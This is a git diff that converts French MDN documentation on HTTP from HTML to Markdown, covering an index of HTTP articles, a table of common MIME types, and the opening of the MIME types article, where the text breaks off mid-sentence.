HTTP. -<h2 id="Articles">Articles</h2> +## Articles -<dl> - <dt><a href="/fr/docs/Web/HTTP/Overview">Vue d'ensemble de HTTP</a></dt> - <dd>Décrit ce qu'est HTTP et son rôle dans l'architecture du Web ainsi que sa position dans la pile de protocoles.</dd> - <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Évolution de HTTP</a></dt> - <dd>HTTP a été créé au début des années 1990 et a été étendu plusieurs fois. Cet article relate son histoire et décrit HTTP/0.9, HTTP/1.0, HTTP/1.1, et le récent HTTP/2. Les nouveautés mineures introduites au fil des ans sont aussi présentées.</dd> - <dt><strong>Négocier une version HTTP</strong></dt> - <dd>Explique comment un client et un serveur peuvent négocier une version HTTP spécifique pour pouvoir utiliser une version plus récente du protocole.</dd> - <dt><a href="/fr/docs/Web/HTTP/Resources_and_URIs">Ressources et URIs</a></dt> - <dd>Une brève introduction à la notion de ressources, d'identifiants, et de localisations sur le web.</dd> - <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifier des ressources sur le web</a></dt> - <dd>Décrit comment les ressources web sont référencées et comment les localiser.</dd> - <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URIs de données</a></dt> - <dd>Un type d'URIs spécifique qui intègre directement la ressource qu'il représente. Les URIs de données sont très commodes mais s'accompagnent de quelques mises en garde.</dd> - <dt>URLs de ressources</dt> - <dd>Les URLs de ressources, qui sont préfixées par le schéma <code>resource:</code> sont utilisées par Firefox et les extensions de Firefox pour charger des ressources de façon interne, néanmoins une partie de l'information est exposée aux sites web lorsque le navigateur s'y connecte.</dd> - <dt>Séparer l'identité et la localisation d'une ressource : l'en-tête HTTP Alt-Svc (Alternative Service)</dt> - <dd>La plupart du temps, l'identité et la localisation d'une ressource web sont associées. Cela peut être modifié avec l'en-tête {{HTTPHeader("Alt-Svc")}}.</dd> - <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types">Types MIME</a></dt> - <dd>Depuis HTTP/1.0, différents types de contenus peuvent être transmis. Cet article explique comment cela est fait via l'utilisation de l'en-tête {HTTPHeader("Content-Type")}} et le standard MIME.</dd> - <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">Choisir entre des URL de type www ou non</a></dt> - <dd>Conseil sur l'utilisation d'un domaine préfixé ou non par www. Cet article explique les conséquences de ce choix aussi que les facteurs à considérer lors du choix.</dd> - <dt>Flux d'une session HTTP</dt> - <dd>Cet article fondamental décrit une session HTTP typique ; c'est-à-dire ce qui se passe "sous le capot" quand vous cliquez sur un lien dans votre navigateur ...</dd> - <dt><a href="/fr/docs/Web/HTTP/Messages">Messages HTTP</a></dt> - <dd>Les messages HTTP transmis pendant les requêtes ou les réponses ont une structure très claire. Cet article d'introduction décrit cette structure, son but et les possibilités qu'elle offre.</dd> - <dt>Trame et structure de message en HTTP/2</dt> - <dd>HTTP/2 représente les messages HTTP/1.x par une trame binaire. Cet article explique la structure de la trame, son but et la manière dont elle est encodée.</dd> - <dt><a href="/fr/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Gestion des connexions en HTTP/1.x</a></dt> - <dd>HTTP/1.1 était la première version d'HTTP à supporter les connexions persistantes et la combinaison de requêtes dans une seule connexion. Cet article explique ces deux concepts.</dd> - <dt>Gestion des connexions en HTTP/2</dt> - <dd>HTTP/2 a complètement revisité la manière dont les connexions sont créées et maintenues. Cet article explique comment les trames HTTP permettent le multiplexage et résolvent le problème de la trame bloquante ('head-of-line' blocking) des précédentes versions.</dd> - <dt><a href="/fr/docs/Web/HTTP/Content_negotiation">Négociation du contenu</a></dt> - <dd>HTTP introduit une série d'en-têtes commençant par <code>Accept-</code> permettant a un navigateur d'annoncer le format, la langue ou l'encodage qu'il préfère. Cet article explique comment cette préférence est déclarée, quelle réaction est attendue de la part du serveur et comment celui-ci choisit la réponse la plus adéquate possible.</dd> -</dl> +- [Vue d'ensemble de HTTP](/fr/docs/Web/HTTP/Overview) + - : Décrit ce qu'est HTTP et son rôle dans l'architecture du Web ainsi que sa position dans la pile de protocoles. +- [Évolution de HTTP](/fr/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP) + - : HTTP a été créé au début des années 1990 et a été étendu plusieurs fois. Cet article relate son histoire et décrit HTTP/0.9, HTTP/1.0, HTTP/1.1, et le récent HTTP/2. Les nouveautés mineures introduites au fil des ans sont aussi présentées. +- **Négocier une version HTTP** + - : Explique comment un client et un serveur peuvent négocier une version HTTP spécifique pour pouvoir utiliser une version plus récente du protocole. +- [Ressources et URIs](/fr/docs/Web/HTTP/Resources_and_URIs) + - : Une brève introduction à la notion de ressources, d'identifiants, et de localisations sur le web. +- [Identifier des ressources sur le web](/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web) + - : Décrit comment les ressources web sont référencées et comment les localiser. +- [URIs de données](/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) + - : Un type d'URIs spécifique qui intègre directement la ressource qu'il représente. Les URIs de données sont très commodes mais s'accompagnent de quelques mises en garde. +- URLs de ressources + - : Les URLs de ressources, qui sont préfixées par le schéma `resource:` sont utilisées par Firefox et les extensions de Firefox pour charger des ressources de façon interne, néanmoins une partie de l'information est exposée aux sites web lorsque le navigateur s'y connecte. +- Séparer l'identité et la localisation d'une ressource : l'en-tête HTTP Alt-Svc (Alternative Service) + - : La plupart du temps, l'identité et la localisation d'une ressource web sont associées. Cela peut être modifié avec l'en-tête {{HTTPHeader("Alt-Svc")}}. +- [Types MIME](/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types) + - : Depuis HTTP/1.0, différents types de contenus peuvent être transmis. Cet article explique comment cela est fait via l'utilisation de l'en-tête {HTTPHeader("Content-Type")}} et le standard MIME. +- [Choisir entre des URL de type www ou non](/fr/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs) + - : Conseil sur l'utilisation d'un domaine préfixé ou non par www. Cet article explique les conséquences de ce choix aussi que les facteurs à considérer lors du choix. +- Flux d'une session HTTP + - : Cet article fondamental décrit une session HTTP typique ; c'est-à-dire ce qui se passe "sous le capot" quand vous cliquez sur un lien dans votre navigateur ... +- [Messages HTTP](/fr/docs/Web/HTTP/Messages) + - : Les messages HTTP transmis pendant les requêtes ou les réponses ont une structure très claire. Cet article d'introduction décrit cette structure, son but et les possibilités qu'elle offre. +- Trame et structure de message en HTTP/2 + - : HTTP/2 représente les messages HTTP/1.x par une trame binaire. Cet article explique la structure de la trame, son but et la manière dont elle est encodée. +- [Gestion des connexions en HTTP/1.x](/fr/docs/Web/HTTP/Connection_management_in_HTTP_1.x) + - : HTTP/1.1 était la première version d'HTTP à supporter les connexions persistantes et la combinaison de requêtes dans une seule connexion. Cet article explique ces deux concepts. +- Gestion des connexions en HTTP/2 + - : HTTP/2 a complètement revisité la manière dont les connexions sont créées et maintenues. Cet article explique comment les trames HTTP permettent le multiplexage et résolvent le problème de la trame bloquante ('head-of-line' blocking) des précédentes versions. +- [Négociation du contenu](/fr/docs/Web/HTTP/Content_negotiation) + - : HTTP introduit une série d'en-têtes commençant par `Accept-` permettant a un navigateur d'annoncer le format, la langue ou l'encodage qu'il préfère. Cet article explique comment cette préférence est déclarée, quelle réaction est attendue de la part du serveur et comment celui-ci choisit la réponse la plus adéquate possible. diff --git a/files/fr/web/http/basics_of_http/mime_types/common_types/index.md b/files/fr/web/http/basics_of_http/mime_types/common_types/index.md index 0fd192adb2..aaf9094df5 100644 --- a/files/fr/web/http/basics_of_http/mime_types/common_types/index.md +++ b/files/fr/web/http/basics_of_http/mime_types/common_types/index.md @@ -9,348 +9,79 @@ tags: - Video translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Voici une liste de types MIME, associés par type et ordonnée par extension.</p> +Voici une liste de types MIME, associés par type et ordonnée par extension. -<p>Il existe deux types MIME principaux qui jouent un rôle important en terme de types par défaut :</p> +Il existe deux types MIME principaux qui jouent un rôle important en terme de types par défaut : -<ul> - <li><code>text/plain</code> est le type MIME par défaut pour les fichiers texte. Un fichier texte doit pouvoir être lu par un utilisateur et ne pas contenir de données binaires.</li> - <li><code>application/octet-stream</code> est le type MIME par défaut dans tous les autres cas. Un fichier de type inconnu doit être associé à ce type MIME. Les navigateurs traiteront les fichiers associés à ce type MIME de façon particulière pour protéger au maximum l'utilisateur des éventuels risques de sécurité.</li> -</ul> +- `text/plain` est le type MIME par défaut pour les fichiers texte. Un fichier texte doit pouvoir être lu par un utilisateur et ne pas contenir de données binaires. +- `application/octet-stream` est le type MIME par défaut dans tous les autres cas. Un fichier de type inconnu doit être associé à ce type MIME. Les navigateurs traiteront les fichiers associés à ce type MIME de façon particulière pour protéger au maximum l'utilisateur des éventuels risques de sécurité. -<p>L'IANA constitue le registre officiel pour l'ensemble des types MIME et maintient une liste exhaustive à l'adresse suivante : <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">https://www.iana.org/assignments/media-types/media-types.xhtml</a>. La table ci-dessous se focalise sur les types MIME importants dans le cadre du Web, <strong>elle n'est donc pas exhaustive :</strong></p> +L'IANA constitue le registre officiel pour l'ensemble des types MIME et maintient une liste exhaustive à l'adresse suivante : <https://www.iana.org/assignments/media-types/media-types.xhtml>. La table ci-dessous se focalise sur les types MIME importants dans le cadre du Web, **elle n'est donc pas exhaustive :** -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Extension</th> - <th scope="col">Type de document</th> - <th scope="col">Type MIME</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>.aac</code></td> - <td>fichier audio AAC</td> - <td><code>audio/aac</code></td> - </tr> - <tr> - <td><code>.abw</code></td> - <td>document <a href="https://fr.wikipedia.org/wiki/AbiWord">AbiWord</a></td> - <td><code>application/x-abiword</code></td> - </tr> - <tr> - <td><code>.arc</code></td> - <td>archive (contenant plusieurs fichiers)</td> - <td><code>application/octet-stream</code></td> - </tr> - <tr> - <td><code>.avi</code></td> - <td>AVI : Audio Video Interleave</td> - <td><code>video/x-msvideo</code></td> - </tr> - <tr> - <td><code>.azw</code></td> - <td>format pour eBook Amazon Kindle</td> - <td><code>application/vnd.amazon.ebook</code></td> - </tr> - <tr> - <td><code>.bin</code></td> - <td>n'importe quelle donnée binaire</td> - <td><code>application/octet-stream</code></td> - </tr> - <tr> - <td><code>.bmp</code></td> - <td>Images bitmap Windows OS/2</td> - <td><code>image/bmp</code></td> - </tr> - <tr> - <td><code>.bz</code></td> - <td>archive BZip</td> - <td><code>application/x-bzip</code></td> - </tr> - <tr> - <td><code>.bz2</code></td> - <td>archive BZip2</td> - <td><code>application/x-bzip2</code></td> - </tr> - <tr> - <td><code>.csh</code></td> - <td>script C-Shell</td> - <td><code>application/x-csh</code></td> - </tr> - <tr> - <td><code>.css</code></td> - <td>fichier Cascading Style Sheets (CSS)</td> - <td><code>text/css</code></td> - </tr> - <tr> - <td><code>.csv</code></td> - <td>fichier Comma-separated values (CSV)</td> - <td><code>text/csv</code></td> - </tr> - <tr> - <td><code>.doc</code></td> - <td>Microsoft Word</td> - <td><code>application/msword</code></td> - </tr> - <tr> - <td><code>.docx</code></td> - <td>Microsoft Word (OpenXML)</td> - <td><code>application/vnd.openxmlformats-officedocument.wordprocessingml.document</code></td> - </tr> - <tr> - <td><code>.eot</code></td> - <td>police MS Embedded OpenType</td> - <td><code>application/vnd.ms-fontobject</code></td> - </tr> - <tr> - <td><code>.epub</code></td> - <td>fichier Electronic publication (EPUB)</td> - <td><code>application/epub+zip</code></td> - </tr> - <tr> - <td><code>.gif</code></td> - <td>fichier Graphics Interchange Format (GIF)</td> - <td><code>image/gif</code></td> - </tr> - <tr> - <td><code>.htm<br> - .html</code></td> - <td>fichier HyperText Markup Language (HTML)</td> - <td><code>text/html</code></td> - </tr> - <tr> - <td><code>.ico</code></td> - <td>icône</td> - <td><code>image/x-icon</code></td> - </tr> - <tr> - <td><code>.ics</code></td> - <td>élément iCalendar</td> - <td><code>text/calendar</code></td> - </tr> - <tr> - <td><code>.jar</code></td> - <td>archive Java (JAR)</td> - <td><code>application/java-archive</code></td> - </tr> - <tr> - <td><code>.jpeg</code><br> - <code>.jpg</code></td> - <td>image JPEG</td> - <td><code>image/jpeg</code></td> - </tr> - <tr> - <td><code>.js</code></td> - <td>JavaScript (ECMAScript)</td> - <td><code>application/javascript</code></td> - </tr> - <tr> - <td><code>.json</code></td> - <td>donnée au format JSON</td> - <td><code>application/json</code></td> - </tr> - <tr> - <td><code>.mid</code><br> - <code>.midi</code></td> - <td>fichier audio Musical Instrument Digital Interface (MIDI)</td> - <td><code>audio/midi</code></td> - </tr> - <tr> - <td><code>.mpeg</code></td> - <td>vidéo MPEG</td> - <td><code>video/mpeg</code></td> - </tr> - <tr> - <td><code>.mpkg</code></td> - <td>paquet Apple Installer</td> - <td><code>application/vnd.apple.installer+xml</code></td> - </tr> - <tr> - <td><code>.odp</code></td> - <td>présentation OpenDocument</td> - <td><code>application/vnd.oasis.opendocument.presentation</code></td> - </tr> - <tr> - <td><code>.ods</code></td> - <td>feuille de calcul OpenDocument</td> - <td><code>application/vnd.oasis.opendocument.spreadsheet</code></td> - </tr> - <tr> - <td><code>.odt</code></td> - <td>document texte OpenDocument</td> - <td><code>application/vnd.oasis.opendocument.text</code></td> - </tr> - <tr> - <td><code>.oga</code></td> - <td>fichier audio OGG</td> - <td><code>audio/ogg</code></td> - </tr> - <tr> - <td><code>.ogv</code></td> - <td>fichier vidéo OGG</td> - <td><code>video/ogg</code></td> - </tr> - <tr> - <td><code>.ogx</code></td> - <td>OGG</td> - <td><code>application/ogg</code></td> - </tr> - <tr> - <td><code>.otf</code></td> - <td>police OpenType</td> - <td><code>font/otf</code></td> - </tr> - <tr> - <td><code>.png</code></td> - <td>fichier Portable Network Graphics</td> - <td><code>image/png</code></td> - </tr> - <tr> - <td><code>.pdf</code></td> - <td>Adobe Portable Document Format (PDF)</td> - <td><code>application/pdf</code></td> - </tr> - <tr> - <td><code>.ppt</code></td> - <td>présentation Microsoft PowerPoint</td> - <td><code>application/vnd.ms-powerpoint</code></td> - </tr> - <tr> - <td><code>.pptx</code></td> - <td>présentation Microsoft PowerPoint (OpenXML)</td> - <td><code>application/vnd.openxmlformats-officedocument.presentationml.presentation</code></td> - </tr> - <tr> - <td><code>.rar</code></td> - <td>archive RAR</td> - <td><code>application/x-rar-compressed</code></td> - </tr> - <tr> - <td><code>.rtf</code></td> - <td>Rich Text Format (RTF)</td> - <td><code>application/rtf</code></td> - </tr> - <tr> - <td><code>.sh</code></td> - <td>script shell</td> - <td><code>application/x-sh</code></td> - </tr> - <tr> - <td><code>.svg</code></td> - <td>fichier Scalable Vector Graphics (SVG)</td> - <td><code>image/svg+xml</code></td> - </tr> - <tr> - <td><code>.swf</code></td> - <td>fichier <a href="https://fr.wikipedia.org/wiki/Small_Web_Format">Small web format</a> (SWF) ou Adobe Flash</td> - <td><code>application/x-shockwave-flash</code></td> - </tr> - <tr> - <td><code>.tar</code></td> - <td>fichier d'archive Tape Archive (TAR)</td> - <td><code>application/x-tar</code></td> - </tr> - <tr> - <td><code>.tif<br> - .tiff</code></td> - <td>image au format Tagged Image File Format (TIFF)</td> - <td><code>image/tiff</code></td> - </tr> - <tr> - <td><code>.ts</code></td> - <td>fichier Typescript</td> - <td><code>application/typescript</code></td> - </tr> - <tr> - <td><code>.ttf</code></td> - <td>police TrueType</td> - <td><code>font/ttf</code></td> - </tr> - <tr> - <td><code>.vsd</code></td> - <td>Microsoft Visio</td> - <td><code>application/vnd.visio</code></td> - </tr> - <tr> - <td><code>.wav</code></td> - <td>Waveform Audio Format</td> - <td><code>audio/x-wav</code></td> - </tr> - <tr> - <td><code>.weba</code></td> - <td>fichier audio WEBM</td> - <td><code>audio/webm</code></td> - </tr> - <tr> - <td><code>.webm</code></td> - <td>fichier vidéo WEBM</td> - <td><code>video/webm</code></td> - </tr> - <tr> - <td><code>.webp</code></td> - <td>image WEBP</td> - <td><code>image/webp</code></td> - </tr> - <tr> - <td><code>.woff</code></td> - <td>police Web Open Font Format (WOFF)</td> - <td><code>font/woff</code></td> - </tr> - <tr> - <td><code>.woff2</code></td> - <td>police Web Open Font Format (WOFF)</td> - <td><code>font/woff2</code></td> - </tr> - <tr> - <td><code>.xhtml</code></td> - <td>XHTML</td> - <td><code>application/xhtml+xml</code></td> - </tr> - <tr> - <td><code>.xls</code></td> - <td>Microsoft Excel</td> - <td><code>application/vnd.ms-excel</code></td> - </tr> - <tr> - <td><code>.xlsx</code></td> - <td>Microsoft Excel (OpenXML)</td> - <td><code>application/vnd.openxmlformats-officedocument.spreadsheetml.sheet</code></td> - </tr> - <tr> - <td><code>.xml</code></td> - <td><code>XML</code></td> - <td><code>application/xml</code></td> - </tr> - <tr> - <td><code>.xul</code></td> - <td>XUL</td> - <td><code>application/vnd.mozilla.xul+xml</code></td> - </tr> - <tr> - <td><code>.zip</code></td> - <td>archive ZIP</td> - <td><code>application/zip</code></td> - </tr> - <tr> - <td><code>.3gp</code></td> - <td>conteneur audio/vidéo <a href="https://fr.wikipedia.org/wiki/3GP">3GPP</a></td> - <td><code>video/3gpp</code><br> - <code>audio/3gpp</code> dans le cas où le conteneur ne comprend pas de vidéo</td> - </tr> - <tr> - <td><code>.3g2</code></td> - <td>conteneur audio/vidéo <a href="https://fr.wikipedia.org/wiki/3GP">3GPP2</a></td> - <td><code>video/3gpp2</code><br> - <code>audio/3gpp2</code> dans le cas où le conteneur ne comprend pas de vidéo</td> - </tr> - <tr> - <td><code>.7z</code></td> - <td>archive <a href="https://fr.wikipedia.org/wiki/7-Zip">7-zip</a></td> - <td><code>application/x-7z-compressed</code></td> - </tr> - </tbody> -</table> +| Extension | Type de document | Type MIME | +| -------------- | ----------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- | +| `.aac` | fichier audio AAC | `audio/aac` | +| `.abw` | document [AbiWord](https://fr.wikipedia.org/wiki/AbiWord) | `application/x-abiword` | +| `.arc` | archive (contenant plusieurs fichiers) | `application/octet-stream` | +| `.avi` | AVI : Audio Video Interleave | `video/x-msvideo` | +| `.azw` | format pour eBook Amazon Kindle | `application/vnd.amazon.ebook` | +| `.bin` | n'importe quelle donnée binaire | `application/octet-stream` | +| `.bmp` | Images bitmap Windows OS/2 | `image/bmp` | +| `.bz` | archive BZip | `application/x-bzip` | +| `.bz2` | archive BZip2 | `application/x-bzip2` | +| `.csh` | script C-Shell | `application/x-csh` | +| `.css` | fichier Cascading Style Sheets (CSS) | `text/css` | +| `.csv` | fichier Comma-separated values (CSV) | `text/csv` | +| `.doc` | Microsoft Word | `application/msword` | +| `.docx` | Microsoft Word (OpenXML) | `application/vnd.openxmlformats-officedocument.wordprocessingml.document` | +| `.eot` | police MS Embedded OpenType | `application/vnd.ms-fontobject` | +| `.epub` | fichier Electronic publication (EPUB) | `application/epub+zip` | +| `.gif` | fichier Graphics Interchange Format (GIF) | `image/gif` | +| `.htm .html` | fichier HyperText Markup Language (HTML) | `text/html` | +| `.ico` | icône | `image/x-icon` | +| `.ics` | élément iCalendar | `text/calendar` | +| `.jar` | archive Java (JAR) | `application/java-archive` | +| `.jpeg` `.jpg` | image JPEG | `image/jpeg` | +| `.js` | JavaScript (ECMAScript) | `application/javascript` | +| `.json` | donnée au format JSON | `application/json` | +| `.mid` `.midi` | fichier audio Musical Instrument Digital Interface (MIDI) | `audio/midi` | +| `.mpeg` | vidéo MPEG | `video/mpeg` | +| `.mpkg` | paquet Apple Installer | `application/vnd.apple.installer+xml` | +| `.odp` | présentation OpenDocument | `application/vnd.oasis.opendocument.presentation` | +| `.ods` | feuille de calcul OpenDocument | `application/vnd.oasis.opendocument.spreadsheet` | +| `.odt` | document texte OpenDocument | `application/vnd.oasis.opendocument.text` | +| `.oga` | fichier audio OGG | `audio/ogg` | +| `.ogv` | fichier vidéo OGG | `video/ogg` | +| `.ogx` | OGG | `application/ogg` | +| `.otf` | police OpenType | `font/otf` | +| `.png` | fichier Portable Network Graphics | `image/png` | +| `.pdf` | Adobe Portable Document Format (PDF) | `application/pdf` | +| `.ppt` | présentation Microsoft PowerPoint | `application/vnd.ms-powerpoint` | +| `.pptx` | présentation Microsoft PowerPoint (OpenXML) | `application/vnd.openxmlformats-officedocument.presentationml.presentation` | +| `.rar` | archive RAR | `application/x-rar-compressed` | +| `.rtf` | Rich Text Format (RTF) | `application/rtf` | +| `.sh` | script shell | `application/x-sh` | +| `.svg` | fichier Scalable Vector Graphics (SVG) | `image/svg+xml` | +| `.swf` | fichier [Small web format](https://fr.wikipedia.org/wiki/Small_Web_Format) (SWF) ou Adobe Flash | `application/x-shockwave-flash` | +| `.tar` | fichier d'archive Tape Archive (TAR) | `application/x-tar` | +| `.tif .tiff` | image au format Tagged Image File Format (TIFF) | `image/tiff` | +| `.ts` | fichier Typescript | `application/typescript` | +| `.ttf` | police TrueType | `font/ttf` | +| `.vsd` | Microsoft Visio | `application/vnd.visio` | +| `.wav` | Waveform Audio Format | `audio/x-wav` | +| `.weba` | fichier audio WEBM | `audio/webm` | +| `.webm` | fichier vidéo WEBM | `video/webm` | +| `.webp` | image WEBP | `image/webp` | +| `.woff` | police Web Open Font Format (WOFF) | `font/woff` | +| `.woff2` | police Web Open Font Format (WOFF) | `font/woff2` | +| `.xhtml` | XHTML | `application/xhtml+xml` | +| `.xls` | Microsoft Excel | `application/vnd.ms-excel` | +| `.xlsx` | Microsoft Excel (OpenXML) | `application/vnd.openxmlformats-officedocument.spreadsheetml.sheet` | +| `.xml` | `XML` | `application/xml` | +| `.xul` | XUL | `application/vnd.mozilla.xul+xml` | +| `.zip` | archive ZIP | `application/zip` | +| `.3gp` | conteneur audio/vidéo [3GPP](https://fr.wikipedia.org/wiki/3GP) | `video/3gpp` `audio/3gpp` dans le cas où le conteneur ne comprend pas de vidéo | +| `.3g2` | conteneur audio/vidéo [3GPP2](https://fr.wikipedia.org/wiki/3GP) | `video/3gpp2` `audio/3gpp2` dans le cas où le conteneur ne comprend pas de vidéo | +| `.7z` | archive [7-zip](https://fr.wikipedia.org/wiki/7-Zip) | `application/x-7z-compressed` | diff --git a/files/fr/web/http/basics_of_http/mime_types/index.md b/files/fr/web/http/basics_of_http/mime_types/index.md index 7669f3e3c9..68fc3c23e8 100644 --- a/files/fr/web/http/basics_of_http/mime_types/index.md +++ b/files/fr/web/http/basics_of_http/mime_types/index.md @@ -8,311 +8,264 @@ tags: - Types MIME translation_of: Web/HTTP/Basics_of_HTTP/MIME_types --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le <strong>type Multipurpose Internet Mail Extensions (type MIME)</strong> est un standard permettant d'indiquer la nature et le format d'un document. Il est défini au sein de la <a href="https://tools.ietf.org/html/rfc6838">RFC 6838</a>. L'<a href="https://www.iana.org/">Internet Assigned Numbers Authority (IANA)</a> est l'organisme officiel responsable du suivi de l'ensemble des types MIME officiels existants. Une liste exhaustive et maintenue est consultable sur la <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">page Media Types de l'IANA</a>.</p> +Le **type Multipurpose Internet Mail Extensions (type MIME)** est un standard permettant d'indiquer la nature et le format d'un document. Il est défini au sein de la [RFC 6838](https://tools.ietf.org/html/rfc6838). L'[Internet Assigned Numbers Authority (IANA)](https://www.iana.org/) est l'organisme officiel responsable du suivi de l'ensemble des types MIME officiels existants. Une liste exhaustive et maintenue est consultable sur la [page Media Types de l'IANA](https://www.iana.org/assignments/media-types/media-types.xhtml). -<p>Les navigateurs utilisent le plus souvent le type MIME et non l'extension d'un fichier pour déterminer la façon dont ils vont traiter ou afficher un document. Il est donc important que les serveurs puissent correctement attacher le type MIME dans l'en-tête de la réponse qu'ils renvoient.</p> +Les navigateurs utilisent le plus souvent le type MIME et non l'extension d'un fichier pour déterminer la façon dont ils vont traiter ou afficher un document. Il est donc important que les serveurs puissent correctement attacher le type MIME dans l'en-tête de la réponse qu'ils renvoient. -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<h3 id="Structure_générale">Structure générale</h3> +### Structure générale -<pre class="syntaxbox">type/sous-type</pre> + type/sous-type -<p>La structure d'un type MIME est simple, elle est composée d'un type et d'un sous-type. Les deux chaînes de caractères sont séparées par un <code>'/'</code>. Les caractères d'espacement ne sont pas autorisés. Le <em>type</em> représente la catégorie et peut être <em>particulier</em> ou <em>composé</em> lorsqu'il regroupe plusieurs formats. Le <em>sous-type</em> est spécifique à chaque type.</p> +La structure d'un type MIME est simple, elle est composée d'un type et d'un sous-type. Les deux chaînes de caractères sont séparées par un `'/'`. Les caractères d'espacement ne sont pas autorisés. Le _type_ représente la catégorie et peut être _particulier_ ou _composé_ lorsqu'il regroupe plusieurs formats. Le _sous-type_ est spécifique à chaque type. -<p>Un type MIME est insensible à la casse mais il s'écrit usuellement en minuscule.</p> +Un type MIME est insensible à la casse mais il s'écrit usuellement en minuscule. -<h3 id="Types_particuliers">Types particuliers</h3> +### Types particuliers -<pre class="syntaxbox">text/plain -text/html -image/jpeg -image/png -audio/mpeg -audio/ogg -audio/* -video/mp4 -application/octet-stream -…</pre> + text/plain + text/html + image/jpeg + image/png + audio/mpeg + audio/ogg + audio/* + video/mp4 + application/octet-stream + … -<p>Les types <em>particuliers</em> indiquent la catégorie d'un document. Les valeurs possibles sont :</p> +Les types _particuliers_ indiquent la catégorie d'un document. Les valeurs possibles sont : -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Type</th> - <th scope="col">Description</th> - <th scope="col">Exemple de sous-type communément associé</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>text</code></td> - <td>Représente n'importe quel document contenant du texte et qui est théoriquement lisible par un utilisateur.</td> - <td><code>text/plain</code>, <code>text/html</code>, <code>text/css, text/javascript</code></td> - </tr> - <tr> - <td><code>image</code></td> - <td>Représente n'importe quelle image. Les vidéos ne font pas partie de ce type bien que les images animées tels les GIFs animés) font partie de ce type.</td> - <td><code>image/gif</code>, <code>image/png</code>, <code>image/jpeg</code>, <code>image/bmp</code>, <code>image/webp</code></td> - </tr> - <tr> - <td><code>audio</code></td> - <td>Représente n'importe quel fichier audio.</td> - <td><code>audio/midi</code>, <code>audio/mpeg, audio/webm, audio/ogg, audio/wav</code></td> - </tr> - <tr> - <td><code>video</code></td> - <td>Représente n'importe quel fichier vidéo.</td> - <td><code>video/webm</code>, <code>video/ogg</code></td> - </tr> - <tr> - <td><code>application</code></td> - <td>Représente n'importe quelle donnée binaire.</td> - <td><code>application/octet-stream</code>, <code>application/pkcs12</code>, <code>application/vnd.mspowerpoint</code>, <code>application/xhtml+xml</code>, <code>application/xml</code>, <code>application/pdf</code></td> - </tr> - </tbody> -</table> +| Type | Description | Exemple de sous-type communément associé | +| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- | +| `text` | Représente n'importe quel document contenant du texte et qui est théoriquement lisible par un utilisateur. | `text/plain`, `text/html`, `text/css, text/javascript` | +| `image` | Représente n'importe quelle image. Les vidéos ne font pas partie de ce type bien que les images animées tels les GIFs animés) font partie de ce type. | `image/gif`, `image/png`, `image/jpeg`, `image/bmp`, `image/webp` | +| `audio` | Représente n'importe quel fichier audio. | `audio/midi`, `audio/mpeg, audio/webm, audio/ogg, audio/wav` | +| `video` | Représente n'importe quel fichier vidéo. | `video/webm`, `video/ogg` | +| `application` | Représente n'importe quelle donnée binaire. | `application/octet-stream`, `application/pkcs12`, `application/vnd.mspowerpoint`, `application/xhtml+xml`, `application/xml`, `application/pdf` | -<p><code>text/plain</code> doit être utilisé pour tous les documents texte sans sous-type spécifique. De la même façon, les documents binaires sans sous-type ou dont le sous-type est inconnu doivent utiliser <code>application/octet-stream</code>.</p> +`text/plain` doit être utilisé pour tous les documents texte sans sous-type spécifique. De la même façon, les documents binaires sans sous-type ou dont le sous-type est inconnu doivent utiliser `application/octet-stream`. -<h3 id="Types_composés_ou_multipart">Types composés ou <em>multipart</em></h3> +### Types composés ou _multipart_ -<pre class="syntaxbox">multipart/form-data -multipart/byteranges</pre> + multipart/form-data + multipart/byteranges -<p>Les types composés, aussi appelés types <em>multipart</em> indiquent une catégorie de document qui sont constitués de différents éléments. A l'exception de <code>multipart/form-data</code>, utilisé en association avec des <a href="/fr/docs/Web/Guide/HTML/Forms">formulaires HTML</a> et la méthode {{HTTPMethod("POST")}} et de <code>multipart/byteranges</code>, utilisé avec le statut HTTP {{HTTPStatus("206")}} <code>Partial Content</code> renvoyant uniquement une sous-partie du document ce qui entraînera vraisemblablement l'apparition d'une fenêtre "Enregistrer sous" étant donné que HTTP ne gère pas ces documents de manière différente et que le navigateur ne saura pas commment afficher ce document incomplet.</p> +Les types composés, aussi appelés types _multipart_ indiquent une catégorie de document qui sont constitués de différents éléments. A l'exception de `multipart/form-data`, utilisé en association avec des [formulaires HTML](/fr/docs/Web/Guide/HTML/Forms) et la méthode {{HTTPMethod("POST")}} et de `multipart/byteranges`, utilisé avec le statut HTTP {{HTTPStatus("206")}} `Partial Content` renvoyant uniquement une sous-partie du document ce qui entraînera vraisemblablement l'apparition d'une fenêtre "Enregistrer sous" étant donné que HTTP ne gère pas ces documents de manière différente et que le navigateur ne saura pas commment afficher ce document incomplet. -<h2 id="Types_MIME_utiles_pour_les_développeurs_web">Types MIME utiles pour les développeurs web</h2> +## Types MIME utiles pour les développeurs web -<h3 id="applicationoctet-stream"><code>application/octet-stream</code></h3> +### `application/octet-stream` -<p>Il s'agit de la valeur par défaut pour un fichier binaire. Etant donné qu'il signifie <em>fichier binaire inconnu</em> il est probable que les navigateurs ne l'exécutent pas 